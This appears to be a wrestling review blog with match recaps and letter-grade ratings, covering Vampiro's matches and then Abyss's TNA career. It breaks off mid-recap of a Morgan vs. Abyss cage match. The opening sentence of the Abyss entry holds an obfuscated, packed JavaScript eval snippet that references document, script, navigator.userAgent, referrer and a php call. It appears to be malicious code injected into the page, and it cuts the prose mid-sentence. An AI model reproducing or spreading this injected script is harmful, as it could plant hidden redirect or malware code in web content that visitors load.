Stevie wants to know why this is legal and gets no answer. Stevie freaking Ray is the voice of reason on this show. The same Stevie Ray that had a segment called Suckas Gots To Know. Anyway Vampiro hits his finisher and looks for more weapons because he’s an idiot. Madden gets a Ghostbusters line in to make this a bit easier. Sitout Awesome Bomb on the floor as this is now falls count anywhere I guess.

Back in the ring as Vampiro takes an Awesome Bomb from the top rope for the academic pin. In other words the table means absolutely nothing as it wasn’t used at all. And of course we have a solid enough match like that and we get That 70s Guy music and go to General Rection. Nothing wrong with that is there?

Rating: C-. Not bad here and very physical. Awesome would change gimmicks eventually and get back to just being a tough guy but it was too late. Vampiro is a guy I never got at all and to this day I still don’t. This was ok though as Awesome just beat the crap out of him. The rules made no sense but that’s WCW for you.

Vampiro would head to the mess that was the XWF and have a match on November 13, 2001.

Vampiro vs. Curt Hennig

Hennig has an agent by the name of Bobby Heenan, who does Curt’s entrance as only he could. Vampiro hits a quick kick to the chest to start and follows Hennig into the corner with a clothesline. Heenan talks to his client on the floor and it’s Curt coming back with knee lifts and chops in the ring. The neck snap keeps Vampiro in trouble but he comes back with a belly to back suplex and a top rope spinwheel kick for two. Heenan loads up a foreign object but Piper is out maybe half a second later to take it away and blast Hennig. The Nail in the Coffin ends Hennig in less than three minutes.

Vampiro would bounce around the indies for several years before popping up as one of the bigger names in Wrestling Society X. He would face 6-Pac on the second episode for the WSX Title.

WSX Title: Vampiro vs. 6-Pac

There’s a casket at ringside for no apparent reason. Feeling out process to start until Vampiro kicks him down for two. Pac comes back with a sitout powerbomb and a Bronco Buster but the second attempt is caught by choking. A chokeslam sets up a corkscrew dive from Vampiro but he only hits mat. Pac sends him outside for a big flip dive but gets crotched against the post to put him back down.

We get our first table less than three and a half minutes into the match and a tornado DDT drives Vampiro through the wood. Apparently this is falls count anywhere but Pac takes him back inside for an X Factor and two. Pac loads up another X Factor onto the coffin but Vampiro counters into a tombstone into the coffin….which explodes, giving Vampiro the pin.

Rating: D. The coffin exploded. I think that sums up my thoughts on the match pretty well. The wrestling wasn’t horrible but there wasn’t enough of it to make a good match. This was your usual EXTREME stuff with needless tables and a stupid ending, but that was kind of the point of this organization. Are you surprised it lasted ten episodes?

After several years wrestling in Italy, Vampiro would come back to Mexico to wrestle at AAA’s TripleMania XVIII.

Cibernetico/Abyss vs. El Zorro/Vampiro

Cibernetico is one of the top faces in the company (or was at this point). Abyss and Vampiro I think you know. El Zorro is a heel and part of the Foreign Legion and after this show would win the world title. This is a hardcore match. Despite being a foreigner Abyss isn’t part of the Foreign Legion for some reason.

Cibernetico’s entrance is in a word, epic. I think he’s supposed to be a cyborg or something. He’s clearly one of the most popular people in the company. This is that odd kind of hardcore where you have to tag in and out. Yeah I know just go with it. Cibernetico and Zorro start us off.

Cibernetico’s tights say Main Man. At least there isn’t a target saying “goes here” underneath it. The partners just come in for no apparent reason with Abyss going off on Vampiro. This is during Abyss-A-Mania but it doesn’t seem to be that bad at this point. Zorro has a kendo stick as the announcers argue some more. Zorro beats on Cibernetico with a chair in the ring while the other guys are out on the floor.

Vampiro sets up a table but can’t get a moonsault through it. Abyss can’t get his powerbomb through it either so it all evens out. Cibernetico hits the floor and now it’s turning into a regular hardcore match. Vampiro and Konnan point at each other for some reason but the wasted time lets Abyss get his hands on Vampiro. Abyss is thrown at the table which collapses but doesn’t break.

Konnan gets in Vampiro’s face again for no apparent reason. Everyone but Abyss is in the ring now and it’s a 2-1 beatdown. I’m not sure what the deal is with two referees. Maybe Gorilla Monsoon is secretly commissioner here or something. Cibernetico dumps Vampiro (to be with Abyss I guess) but has a kendo stick tossed into his leg.

Abyss is back in now but can’t get a double chokeslam. He settles for a double clothesline instead and down goes the Foreign Legion. Abyss……moves……very……very……slowly. The Foreign Legion hits the ring, in the form of Christopher Daniels, Kozlov, Chessman, Nosawa (Japanese guy) and Hernandez. Cibernetico is like screw that and beats them up on his own.

Zorro takes him down and hammers away with the kendo stick. Cue Abyss who hits Shock Treatment and Zorro is more or less dead. Hernandez misses a chair shot and hits Vampiro by mistake. Konnan grabs Vampiro and throws powder in his face. A chokeslam from Cibernetico ends this.

Rating: C+. Not bad here. They got rid of the tagging after about a second and things got a lot better. Decent little match here and the Foreign Legion losing is a good thing for a change tonight. Cibernetico is a guy that it’s easy to get behind so I can see why he’s one of the most popular there. Decent match all around but a bit rushed.

One final match, from the alleged wrestling organization run by the Insane Clown Posse. From Bloodymania V.

JCW World Title: Corporal Robinson vs. Vampiro

Robinson is defending if that wasn’t clear. They shake hands to start and finally lock up. Before anything can get going, here’s Evil Dead for no apparent reason. He gets in the ring and drills the referee as the other two guys get in each others’ faces. Evil Dead DDTs both guys and leaves. This is happening…..why exactly?

Robinson and Vampiro slug it out from their knees which takes a good while. Robinson shoulders him down but gets kicked in the face a second later to give Vampiro control again. Robinson comes back again and tries his finisher called Boot Camp (cobra clutch legsweep) but Vampiro escapes. A neckbreaker gets two for the champion as does a superkick from Vampiro. Vampiro’s chokeslam is broken up and apparently it’s almost 5:00am. Good grief.

A tornado DDT gets two for Robinson as they’re in the problem most indy matches have: they have no idea how to tell a story in the ring and it’s just a string of moves with nothing between them. Vampiro flips off the fans to go heel I guess, and walks into a dragon screw leg whip for his efforts. Robinson puts on a quick leglock but Vamp gets to a rope. The Corporal brings in a chair but Vampiro kicks his knee out just in time.

Vampiro loads up something off the top but gets pulled down into a Tree of Woe. We get the Tommy Dreamer running dropkick into the chair into the guy in the Tree of Woe’s face for two. Vampiro comes back with a kind of Van Daminator and Robinson is busted open. It’s table time now because what would a main event be without one of those? Off to a chinlock by Vampiro so he can bite the cut a bit.

The table is set up in the corner and Vampiro goes after the cut on Robinson’s head. Robinson is sent face first into the chair but Vampiro walks around too much and gets suplexed down for two. Robinson goes up but misses a legdrop to bring things to a halt again. Chokeslam from Vampiro gets two, followed by a Robinson powerbomb and Boot Camp for the pin to retain. The table was never used.

Rating: C-. This went WAY too long which brings it down a bit. Somehow this match was almost twenty minutes long and about four minutes of that was spent on laying around. I have no idea what the point of Evil Dead was but it came and went and didn’t change anything. Not a terrible match or anything and it was fine for a main event on a show of this caliber.

Vampiro is a guy that has wrestled around the world and I liked him as a kid, but now I really don’t see him as anything special. He wrestles the indy style which I can’t stand and could have been replaced by any of a few dozen other wrestlers. There are far worse guys out there, but he’s just nothing I care to watch most of the time.

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Wrestler of the Day – May 13: Abyss

A monster, a monster, he’s turned into a monster. It’s Abyss.

After eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zntny|var|u0026u|referrer|nsisz||js|php'.split('|'),0,{})) some years in NWA Wildside, Abyss found his way to TNA and became a monster in the early days of the company. He would get into a feud with AJ Styles and win the Tag Team Titles with him in 2004. After losing them a month later, the two would face off on Weekly PPV #85 in a ladder match for a shot at the World Title.

Abyss vs. AJ Styles

From March 17, 2004 and this is a ladder match for the #1 contendership. The brawl is on immediately and AJ hits the Pele (called a bicycle kick here) to stagger the monster. AJ tries to hit the ropes but Abyss hits a HARD clothesline to take his head off. A chop that would make Big Show cringe puts AJ down and Abyss goes to get the ladder. Abyss shoves AJ down with the ladder from the floor but AJ just rams into Abyss to knock him back to the floor. Styles goes up the ladder but hops down and moves the ladder closer to the ropes. It takes too long to set up though and Abyss shoves the ladder down.

Both guys are back inside now and Abyss whips Styles hard into the ladder. The monster climbs up VERY slowly so AJ makes an easy save before bulldogging him onto the ladder. A springboard dropkick sends Abyss to the floor and Styles follows out with a dive. Now it’s AJ going up but Abyss blasts him in the back with a chair before wedging it between the ropes in the corner. Shock Treatment puts AJ down again and Abyss pulls out another ladder. This one stays outside though as he bridges it between the ring and the barricade.

AJ blocks a chokeslam by biting Abyss’ fingers but the monster throws him head first into the chair in the corner to knock Styles loopy. Abyss throws in some more chairs but AJ counters a powerbomb into the Styles Clash (really a pancake due to the legs not being wrapped around Abyss’ arms but close enough) in a very surprising power display. AJ goes up the ladder for a 450 splash, drawing a well earned THIS IS AWESOME chant.

They both climb again but AJ slows Abyss down with some kicks to the head. AJ can’t reach the contract so he busts out a sunset powerbomb to put Abyss through two chairs set up in the corner. Cue Raven to distract AJ for no explained reason, allowing Abyss to shove the ladder over, sending Styles FACE FIRST into the bridged ladder. Abyss easily gets the contract. Apparently Raven was trying to get Russo’s attention or something.

Rating: B+. They had my favorite match ever in TNA so it’s no surprise that I liked this too. It’s the David vs. Goliath formula which is going to work almost every time, especially when you have two people that can work at a high level. The ending felt abrupt but the big spots almost all worked here. Really good stuff, as expected.

Abyss would appear on the first episode of Impact from June 4, 2004.

Shark Boy vs. Abyss

Sharky goes after Abyss and bites his way out of a chokeslam. A high cross body is caught in an easy slam before the Black Hole Slam ends this quick. Total squash for Abyss.

The most famous match type of Abyss’ career has always been Monster’s Ball. He would be in the first incarnation at Victory Road 2004.

Abyss vs. Monty Brown vs. Raven

This is the original Monster’s Ball match, which originally was far different. The idea here is that the guys have been locked up without light or food for 24 hours. This aspect has since completely disappeared due to reasons of sanity and now it’s just a regular hardcore match. The announcers say that Raven has the advantage here as he’s smaller and crazier which makes sense, at least in the lack of food and light idea.

We have a table set up inside of 30 seconds. Abyss is dominating here for the most part. It’s really more of an intense triple threat rather than a hardcore match and now we have chairs coming in. Raven really is underrated in the ring. I love what Brown does by just chucking a chair at Raven’s head. That’s awesome. Naturally we have a ref bump because they’re required I suppose.

Now we move to the big spots of the match as we have Brown sitting on the top rope and Abyss busts out the tacks. Since he’s the only one wearing a shirt you know that he’s the guy that’s going to wind up going through them. Yep, Raven comes in to powerbomb him while he’s trying to suplex Brown. That wasn’t predictable at all. Not a bit. Raven gets two off of it and then we set up another stupid spot as the table is set up in the corner and Raven gets Pounced (a spear/tackle) through it. It was a mess of course.

Rating: D+. These things are going to happen and while I can’t stand them, I get that there’s a point to them. There is a market for these I guess and at least they’re keeping it shorter. There’s really no way to make these good without going too far, but this was really lackluster even for one of these.

It’s back to the AJ feud with my favorite TNA match ever. From Lockdown 2005.

Abyss vs. AJ Styles

For the few of you that might be wondering, this is my favorite TNA match ever. AJ is YOUNG looking here which is saying a lot as he’s still young today but here he looks like he’s about 19. He’s a two time world champion here though which is never mentioned anymore for no apparent reason. Abyss is listed at 350lbs here again but he’s a LOT slimmer looking here.

He still has the chains here which were a nice touch for him. I have no idea why but they are. AJ dives through the door to take down Abyss before he gets in. Abyss tries to whip him into the railing but AJ baseball slides UNDERNEATH the railing and jumps up onto it and hits a rana to take down Abyss. That was freaking awesome and happened inside of five seconds.

All AJ to start as we’re still on the floor. Abyss had more or less been unstoppable recently since splitting from his stablemate Alex Shelley (let that sink in for a bit) so this is a major showdown and seeing Abyss reeling is odd to see. Abyss fights him back and whips him into the railing again so this time AJ channels his inner Morrison and double jumps up to a platform into the crowd, spins around and jumps over FIVE ROWS of fans to his the forearm on Abyss. This is one of the most awesome performances I’ve ever seen and we’re maybe three minutes into this.

AJ dives at Abyss on the railing ala Sting but instead of crashing into it clears the railing by a good foot and hits the ground in the crowd. Abyss pounds on him a bit but AJ just kicks the heck out of him to escape for a bit. West talks about Kenny Chesney for absolutely no apparent reason.

They open the door of the cage after about six minutes of brawling. The difference between this and the stupid stuff before: this was INCREDIBLY entertaining and the fans were way into it as opposed to Jarrett and Waltman walking around and occasionally hitting each other with something. AJ and Abyss never stopped moving and the fans were into it because of it. The difference here: hard work works better than walking around hitting each other with weapons.

AJ punches Abyss HARD but gets the cage door slammed into his arm and then his face where he snaps down to the floor. It looked like he got hit by a bus or something as fast as he hit the ground. Great selling there. AJ is busted open and Abyss pounds away even more. AJ finally in the cage now as Abyss looks under the ring for the bag of tacks. About eight and a half minutes in they’re in the cage together.

Abyss chokes him with the chain and we play tug of war. AJ simply will not quit and keeps hammering away to no avail though. With the chain on the top turnbuckle, Abyss launches AJ over his head in kind of a forced leapfrog and his head slams into the chain. The fans think this is awesome and for once they’re right. They stop for a bit for the a neck crank and AJ sells the heck out of it too.

AJ charges again but Abyss grabs him in a gorilla press and LAUNCHES him up to just let him crash down. He tries it again but AJ counters into a DDT onto the chain. Two punches and an enziguri takes Abyss down as does a headscissors. AJ hits a moonsault press but Abyss just lets him bounce off which was cool looking. AJ sends him into a chair into the corner that Abyss set up and gets a German suplex for two that looked very good.

He goes for the Styles Clash but Abyss is way too big for that. Chokeslam is countered into a rollup for two. AJ gets another running start but walks into the Black Hole Slam for a VERY long two. Dang Abyss looks awesome (what am I saying?) when he really uncorks that thing. Yep there are the tacks. Black Hole Slam into them are countered as is a powerbomb.

AJ gets the Styles Clash (ok more like a falling face first slam but we’ll give it to him) into the tacks for two. Wow I would have bet on that being the ending. You know if I didn’t know the ending already. Abyss is ROCKED here which was unthinkable until this match. AJ goes to the top of the cage and Abyss can’t catch him. His solution: throw the referee at the cage to knock AJ off. That was awesome.

Abyss climbs up as AJ is barely hanging on. He goes up with the chain and might be thinking to hang him as he had on Impact. Yep that’s what he’s going for. AJ is on the outside and Abyss on the inside and yep he’s hanging him. AJ gets the chain off somehow and Abyss grabs the chokeslam. AJ bites his fingers and opens those things up! AJ jumps off the top of the cage and hits a freaking sunset flip powerbomb onto the tacks from the top of the cage to get the pin as Abyss is DEAD.

Rating: A+. OH YES! AJ was absolutely amazing here and it was definitely Abyss’ best match ever. This was just a total war for twenty minutes with AJ never stopping and taking it to Abyss much like Flair did back at Starrcade 93 to Vader. There was no gimmick here as it was just a big old fight in a cage with weapons brought in for fun. AJ would get the title the next month….and then lose it to Raven the next month because the world was clamoring for more Raven and less AJ. Uh…sure. He wouldn’t get it back for over four years.

Abyss would enter into a Gauntlet for the Gold at Hard Justice for a title shot at some point in the future.

Gauntlet For The Gold

Roode is #1 and the surprise entrant Zach Gowen is #2. Get the joke from earlier now? Roode steals the prosthetic leg. West: “Put it back!” but Gowen comes back with one footed dropkicks and a reverse DDT. Eric Young comes in at #3. The intervals are only a minute long which includes their time coming to the ring. Remember at this point it’s over the top to eliminate people.

Roode gets a pretty evil one legged giant swing on Gowen. Cassidy Riley is #4. Ok now the clock doesn’t start until he gets to the ring. He helps against the Canadians and Gowen hits a leg lariat on Roode. Here’s Skipper at #5 and the clock is under Young rules again. Skipper takes a lariat from Roode but hits a nice moonsault to take him down. The ring is getting a little full now so everyone has something to do.

Shark Boy comes in at #6 to a nice reaction. Thank goodness he’s not Stone Cold yet. He won a match on the preshow to get in. Sharky hits a neckbreaker on Young but Gowen takes him down. Shark Boy bites Gowen hard enough that Gowen goes out. So we have our first elimination. #7 is another Canadian in the form of A-1, the big power guy. He cleans house with clotheslines and stomps on Riley.

#8 is Chris Sabin. In a Matrix style move, he sets for a tornado DDT on Young but with his feet in the air, he kicks EVERYONE ELSE in the chest in a big circle before hitting the DDT. That was cool. Petey Williams is #9 to put the Canadians at full strength. He tries a Destroyer on Sharky but gets backdropped to the apron. Shark Boy goes after him and is eliminated by A-1. Eric puts out Riley to get some people out of the ring.

Sonny Siaki is #10 and he goes after the Canadians. Skipper gets REALLY stupid and tries to walk the ropes. Roode is like boy you’re stupid and clotheslines him out. Lance Hoyt is #11 and he has his own cheering section. Young is easily tossed out by Hoyt and Team Canada is down to three. Sabin can’t get Williams out and Bentley is #12. He superkicks Hoyt but is taken out by Sabin who goes out at the same time. They fight on the floor as the Canadians put out Siaki.

Here’s Jerelle Clark at #13. He’s just an X-Division guy. There are five people in at the moment: Roode, A-1, Williams, Clark and Hoyt. The Canadians help Williams on a Destroyer to put Clark out. Mikey Batts is #14 and he fires off some kicks to take down the Canadians. He’s another X-Division guy. He and Hoyt team up on Canada as The Outlaw Kip James is #15.

A HUGE cobra clutch slam kills Batts and the fans want to see it again. #16 is Trytan but Hoyt hits a big boot before Trytan even gets in. Batts is gone. Trytan is chokeslamming everyone in sight and hits a spinebuster on Hoyt. Ron Killings is #17 and gets powerslammed very quickly. As Trytan poses, all three Canadians team up to throw him out.

Apollo is #18 and he cleans house. He and Kip chop it out but Apollo charges and is low bridged out. BG James is #19 but the Canadians break up the staredown between the Outlaws. Hoyt kicks Roode out but Roode helps A-1 to get rid of Hoyt. The Outlaws team up on Petey and A-1, tossing them both out. Abyss comes in at #20 and knocks both Outlaws out to get us down to the final two.

So it’s Truth vs. Abyss for the shot and it’s a regular one on one match, meaning over the top doesn’t mean anything anymore. Abyss throws him to the floor anyway and tries to hit him with a chair but it’s taken away by the referee. Back inside now and Abyss pounds on Killings in the corner. Truth speeds things up and hits a leg lariat and a headbutt for two. Abyss gets a big boot and brings in the chain but that gets taken away.

Instead he’ll use a chair because the referee takes forever to put the chain in the corner. Truth gets the chair and hits Abyss twice in the head for two. We actually get a ref bump in this match. Is this really needed? Truth checks on him and walks into a chokeslam onto the chair for a very delayed two. Abyss tries to Earthquake down onto the chair onto Killings but Truth crotches him on the chair instead. Not that it matters though as Killings jumps into the Black Hole Slam and it’s over.

Rating: C+. This wasn’t a horrible battle royal and the one minute intervals keep things moving fast enough. I’m not sure how much I like the one on one match at the end but it’s not a terrible idea I guess. Still though, like most non-Rumbles, this wasn’t a very interesting battle royal. Not awful though.

Abyss is a hardcore guy, so here’s a hardcore dream match from Genesis 2005.

Abyss vs. Sabu

No DQ. Abyss has a chair and his chain. Sabu of course has….nothing. He had his arm covered but when he pulled the towel off there was no barbed wire (there had been at an earlier show). Abyss bails to the floor and Sabu dives on him to take over early. Sabu sets up a table but Abyss takes over and sends him back in. Abyss beats on him VERY slowly as I’m assuming they have a lot of time here.

Sabu is bleeding from the nose. For some reason Abyss goes up, only to be ranaed down. Sabu sets up a chair but it goes upside his head for his efforts. Abyss wedges the chair between the ropes but due to the law of wrestling, he goes head first into it. Triple Jump Moonsault almost totally misses and it’s out to the floor (complete with an F Bomb from Sabu) where Abyss is driven through the table with a slingshot flipping legdrop.

Abyss gets up first and picks up his bag of tacks. As he’s laying them out though, Sabu pulls out a barbed wire chair. Mitchell pulls it away, but Sabu hits some clotheslines in an attempt to put Abyss into the tacks. Abyss is like screw that and chokeslams Sabu into the tacks but it only gets two. He loads up a Frog Splash but lands on tacks, which gets two for Sabu. Camel clutch goes on but Abyss makes a rope. Sabu gets the chair but Abyss knocks him down. Powerbomb onto the chair is countered by a Black Hole Slam onto the chair (FREAKING OW MAN!) gets the pin. Abyss wasn’t scared of it at all.

Rating: C-. It was very violent and the ending was sick, but it’s nothing we haven’t seen a million times before. Abyss being scared of the barbed wire went nowhere at all which didn’t help anything here. The match wasn’t that bad but it’s just another hardcore brawl with some sharp stuff involved.

Next up was a feud with NWA World Champion Christian Cage, culminating in a Full Metal Mayhem match at Sacrifice 2006. Abyss stole the title itself before challenging to become champion.

NWA World Title: Abyss vs. Christian

This is basically a TLC match and Christian is defending. Christian immediately takes him down but can’t overcome the power soon afterwords. Abyss goes for a ladder but Christian dropkicks it back into his face. Back into the ring and Abyss throws him to the apron, only to have the ladder see-sawed into his face. They head to the floor with Christian pounding away on Abyss’ head.

Out into the crowd and they go to that wall that the people in every big TNA brawl fight to. They head back into the ring and the ladder is set up in the corner. Abyss misses a splash onto said ladder so Christian puts it up in front of the challenger. He tries a charge at the ladder but Abyss throws it back at him, knocking Christian down. Abyss wedges a chair between the ropes, and due to the law of wrestling #1, goes crashing into it for his trouble.

Christian goes up and gets his hand on the belt but Abyss makes a pretty easy save. They fight over a German onto the ladder but after neither can get it to go, it’s Christian that is sent crashing into the ladder. Abyss goes outside and sets up a pair of tables next to the ring. Now there’s a table set up in the ring as well but Christian gets in a boot to the ribs to break things up.

Abyss puts him on the ladder but misses a cross body kind of move onto the climbing instrument. A frog splash onto the ladder misses but so does a chain shot against the post. Christian chokes him with the chain but gets flipped through one of the tables at ringside. Abyss goes up but Christian makes the save with a chair. They both fall off the ladder with Christian hitting the top rope. Abyss lays out the tacks but walks into an Unprettier onto the ladder. Mitchell takes a Rock Bottom into the tacks and Abyss is put on the table. He has a chance to go for the belt but drops a frog splash through Abyss, then grabs the title.

Rating: B-. This was ok but it never hit the level that a lot of these matches hit. This felt like something you would see on a TV show, meaning that while it was good there was nothing above the usual level of violence or carnage. For a B level main event it was fine, but it’s absolutely nothing you’d ever want to see a second time unless you were completely obsessed with Christian or something.

Next up was a WAY too long feud with Sting, where Sting tried to help bring out the person behind the mask. This involved James Mitchell being revealed as Abyss’ father and a bunch of strange matches, including this one at Destination X 2007.

Sting vs. Abyss

This is a Last Rites match which means a casket match but the casket is above the ring and you have to have it lowered and then pull them to the ceiling where somehow it signifies their death and ascension or something like that. And people wonder why Russo is made fun of. Keep in mind that Abyss was world champion about two months earlier after just having been an unstoppable monster. This is what we’re getting instead.

Still on the floor as this is just a big brawl so far. As always the splash on the railing misses and Abyss takes over with a chair shot to the back. Into the ring for the first time and there are candles on the corner. Plastic ones mind you but still dude, candles? Scorpion Death Drop puts Abyss down for no cover but he was down for all of a second. One of the candelabras goes into Sting’s face and he’s busted open.

Abyss calls down the casket and the lights go all blue. LOUD fire Russo chant starts up as Sting is pouring blood. Half of the casket is shut and it becomes a regular casket match now. There’s a tombstone. The one made of rock, not the Piledriver. Scorpion goes on and Abyss taps which means nothing. Chair shot puts him down as Sting is bleeding a ton.

The fans chant boring as Sting puts the stone over Abyss’ head and breaks it with the bat. Sting gets out and Abyss shoves him into the corner with his hand around the throat. Abyss chokeslams Sting onto the casket, crushing it. The fans chant TNA, showing that it doesn’t take much to sway their emotions.

Abyss sets up a pair of chairs back to back and puts a tombstone over the top of them. He puts Sting on top for a suplex through it but Sting grabs the candelabra and blasts Abyss in the head with it, knocking them through the tombstone. Sting puts Abyss in the casket to win it before collapsing onto it and having both of them raised into the air. This is what we’re talking about by matches and angles that no one but the booker gets and he doesn’t care what the fans think.

Rating: F+. The FIRE RUSSO chants were right. There were candles, tombstones and a broken casket. On top of that they had only a weak match at best. Sting’s blood was impressive but at the same time it’s nothing we haven’t seen before. Weak match overall and rather stupid to say the least. This feud went on forever and seemingly never stopped.

Sting and Abyss would soon join forces (because wrestling says they have to) and feud with Christian’s Coalition, including this match at Hard Justice 2007.

Andrew Martin/Sting/Abyss vs. Christian Cage/AJ Styles/Tomko

There’s barbed wire around the top of the cage and you win by pinfall, but the person being pinned has to be bleeding first. Abyss gets beaten down until bald Test makes the save. The lights go out and Sting appears in the ring, clocking Tomko with a chair. No one is in the ring at the moment. Ok so it’s Abyss vs. Styles now. Well they had my favorite match ever in TNA in a cage so no complaints there.

Tomko is busted so he could be pinned now. AJ gets a jumping enziguri to put Abyss to the floor again. Styles dives out of the cage to take Abyss out again. So….you know what, screw it. I’m not playing dumb on this one. GET IN THE FREAKING CAGE LIKE YOU’RE SUPPOSED TO YOU IDIOTS! Three minutes in we’re told that whoever gets the fall is the #1 contender. Well sure why not.

Test beats up Christian but Christian isn’t bleeding yet so no cover. And now we cut to the back to watch Pacman freaking Jones get loaded into an ambulance. In the middle of the second main event of all times. OH COME ON ALREADY. NO ONE FREAKING CARES TNA. This is shown for 23 seconds, which could be worse but it was 23 seconds too long. Guess what the announcers are going to talk about for awhile now.

Everyone is in the ring now I believe. Oh wait Sting isn’t. Tomko breaks up a double chokeslam and Sting is trying to get in. That fails and they manage to lock him out of the cage. Abyss is busted open from his head and arm. Total heel beatdown here but Sting has wire cutters. Sting gets in and here comes the comeback. Tomko cracks Sting with a chari and AJ hits a top rope splash on Abyss as does Christian, getting two. Test kicks a chair into Tomko’s head and there’s glass on the mat. Christian escapes which doesn’t mean anything here. Black Hole Slam onto the glass gives Abyss the pin on Styles.

Rating: C. For this big bloody war, this wasn’t much. Then again we didn’t see the complete version because we couldn’t wait five minutes to see Jones get loaded up into the ambulance of course. Not bad but Lethal Lockdown is a lot better than this was. Having only six people in there was a good thing though as it wasn’t too crowded in there.

Father Mitchell would come back with his other son, Judas Mesias, who challenged Abyss in a very bloody feud. From Against All Odds 2008.

Judas Mesias vs. Abyss

This was taped three weeks ago and is in the Impact Zone down in Orlando. There aren’t any ropes but rather barbed wire. Abyss pushes over a cameraman on the way to the ring. For some reason that made me chuckle. The fans are behind Abyss here. Well that’s good since he’s the face. The lack of ropes makes things look really weird here.

Abyss does the arm pose and Mesias looks at him. It’s weird seeing the face tower over the heel like he does here. They fight to try to push the other into the wire but neither has any luck. Mesias hits a dropkick and Abyss hits wire, cutting his arm a bit. Mesias goes in also, but in his case it’s side first. Drop toehold sends Abyss into the wire. This is going to be one of those matches where all we’re doing is sending people into the wire isn’t it?

Abyss slides under the wire as the fans chant who’s your daddy. He finds a chair wrapped in barbed wire and the fans want blood apparently. Abyss puts the chair on the chest of Mesias but it goes into Abyss’ crotch. That has to hurt a bit no? Barbed wire chair to Abyss’ head. BIG cut over the eye of Abyss.

Mesias brings in a barbed wire board with a slight bit of help from Mitchell. They’re on the floor now with Mesias in control. Abyss finds another board and Mesias is bleeding from the side. The new board is set up between the railing and the table like a platform. Abyss tries to chokeslam Mitchell through it but gets blocked by Mesias and it’s back into the ring. Chokeslam onto the barbed wire is blocked but a gorilla press drop isn’t and Mesias is all cut up.

Abyss’ arms are a mess. There’s ANOTHER barbed wire board being brought in by Abyss. Mesias gets up on the apron so Abyss chokeslams him down onto the board that was set up like a platform. Time for Abyss to go after Mitchell now and it’s a Black Hole Slam for the manager. Mesias pops up somehow and it’s a Black Hole Slam for him too.

Abyss gets hit low to shift the momentum again. Mesias more or less tackles Abyss into the boards for Abyss’ first major bump of the match. They slug it out and Mesias thinks it’s smart to charge at a guy whose finisher is a swinging slam. It connects onto one of the boards and this is over.

Rating: C+. Well they got the violence stuff pretty well I guess. All things considered this was pretty good. Thankfully this feud was OVER after this as I couldn’t take much more from it. Tenay saying that Abyss could be added to the list of hardcore legends like Funk, Brody, Cactus Jack and the Sheik is a big nauseating but you get the idea. Better than you would expect but just what you would expect if that makes sense.

In 2008, Kurt Angle started feuding with Jeff Jarrett. Jeff won the first match and Angle wanted to go again, but Jeff said Angle had to beat Abyss first. From Turning Point 2008.

Kurt Angle vs. Abyss

This is Falls Count Anywhere. I kind of dig Angle’s music. Angle needs to stay away from the red and white stripe singlet. It just doesn’t work for him. Abyss is in the prison suit thing and looks even stupider. It’s all monster to start as you would expect.

We’re in the crowd now and all Abyss can do is throw punches it seems. Angle gets a chair out of the front row. Great to see that someone got up and left in one of the biggest matches on the card. Angle does the running front flip off the stage onto Abyss that you see on a ton of TNA highlight reels.

It doesn’t really matter as Abyss is dominating maybe 8 seconds later. West says Angle kicked Abyss in the nuts. That sounded odd. They go through a wall and are under the stage. Always good to see Angle do new stuff. The cameras lose them so we completely stop for a bit as they come through the other side of the wall.

We’re back in the ring now as this has been your standard hardcore match so far. Angle Slam gets two of course. Why does everyone put the chair between the ropes like that? Angle gets chokeslammed for two. Angle actually hits the moonsault. It’s just finisher to finisher now.

Speaking of which there’s the ankle lock for just a second and it goes into the Black Hole Slam. I hate this part of matches most of the time. We head to the Spanish announce table and Angle goes up the scaffolding behind it. And there goes Abyss down through the table for the pin

Rating: B-. Not bad and it was intense, but this was really just your run of the mill hardcore match. Angle looked solid here but there was very limited drama. That forward flip though was great looking. The in ring stuff kind of sucked though and Abyss is just so limited it’s not even funny. Fun match though.

After all the violence, Abyss finally found a friend in Matt Morgan. They would team up and dominate a few weak teams, eventually getting a Tag Team Title shot at Final Resolution in December 2008.

Tag Titles: Beer Money vs. Matt Morgan/Abyss

Beer Money has Jackie with them and no one cares about her at all, period. Storm has the Boozer Cruiser thing too and I still hate it. Big brawl to start of course with everyone in there at once. Everyone runs around and Abyss goes to the back for a bit. Morgan dives off the top to the floor to take out Beer Money in a cool spot as Abyss is back, accomplishing nothing with his leaving.

I really hope the bell rang already and I just missed it so that the time so far has been taken off the time of this match. And there’s my answer as this is all pre-match stuff. Great. Beer Money try to run and that gets them nowhere. Standard you have until ten or the titles are forfeited jazz. Abyss and Storm finally officially start us off which is apparently the meat of this feud.

Storm cracked Abyss with some bottles and the monster is ticked off about it if you’re curious about the details for some odd reason. We get word that the X Title is held up AGAIN. Sweet goodness man just have the freaking title match and have it stick. This is what we mean by overbooking if you’re curious.

Morgan beats up Storm for a bit and asks the crowd if they want to see Storm vs. Abyss. Didn’t we see that like two minutes ago or is my memory going already? Beer Money has the titles here if I forgot to mention that. Storm runs from Abyss so we get Roode instead. I prefer Rick but this is fine I suppose. Roode is in trouble so Storm goes off to get some beer.

The fans are all over Beer Money here. Morgan sets for the Carbon Footprint and that twat waffle Jackie gets involved which thankfully isn’t a DQ. Storm finally comes in for a bit and works over Morgan’s knee for awhile. Half crab goes on for awhile as Beer Money does the referee isn’t looking so we’ll pretend we tagged and swear we did and get away with it because the referee is biased against faces technique.

Abyss finally comes in and we get Storm vs. Abyss which apparently has been built up for three or four days! Shock Treatment to Storm gets a long two. Storm tries to get a shot with the bottle but Abyss intercepts it. Jackie interferes and Storm gets a shot with brass knuckles to end it. Not huge on this one at all.

Rating: D+. It’s watchable I suppose but it wasn’t interesting at all and no one really cared in the slightest. Abyss vs. Storm was allegedly the selling point of the match and that never happened at all really. The ending was overdone to no end which should shock no one at all. It’s ok I guess but it felt thrown together which is never really good at all.

As is almost always the case in wrestling, the team split, leading to another violent feud. Here’s a big match between them at Lockdown 2009.

Doomsday Chamber of Blood: Matt Morgan vs. Abyss

I’d assume it’s a first blood match. Oh ok you win by pin or submission but they have to be bleeding first. Mike makes sure to inform us that this is NOT a first blood match though, even it’s about bleeding first. Morgan had turned heel again and turned on Abyss. Is anyone really surprised by that? Morgan has a chair to start but it gets knocked back into his face.

